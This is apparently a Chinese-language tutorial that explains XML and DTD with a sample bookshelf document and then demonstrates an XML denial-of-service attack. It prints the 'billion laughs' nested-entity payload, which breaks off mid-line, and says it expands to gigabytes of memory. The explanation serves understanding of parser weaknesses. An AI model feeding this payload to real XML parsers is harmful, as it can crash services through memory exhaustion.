C# Xml 解析器dos攻击演示
XML 是一种类似于 HTML 的标记语言。它代表可扩展标记语言并且是一个 W3C 推荐的规范作为一种通用标记语言。这意味着,与其他标记语言不同,XML 未预定义,因此你必须定义自己的标记。该语言的主要目的是跨不同系统共享数据,如互联网。下面就是一个xml文档
<?xml version="1.0" ?> <!DOCTYPE 书架 SYSTEM "book.dtd"> <书架> <书> <书名>Java就业培训教程</书名> <作者>张孝祥</作者> <售价>39.00元</售价> </书> <书> <书名>JavaScript网页开发</书名> <作者>张孝祥</作者> <售价>28.00元</售价> </书> </书架>
那么DTD是什么呢
XML DTD 的目的是定义 XML 文档的结构。它使用一系列合法的元素来定义文档结构,如下面:
<!ELEMENT 书架 (书+)> <!ELEMENT 书 (书名,作者,售价)> <!ELEMENT 书名 (#PCDATA)> <!ELEMENT 作者 (#PCDATA)> <!ELEMENT 售价 (#PCDATA)>
我们可以利用DTD可以产生XML dos攻击,它能迅速占用大量内存,如下:
当XML解析器尝试解析该文件时,由于DTD的定义指数级展开,这个1K不到的文件会占用到3G的内存。
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol...
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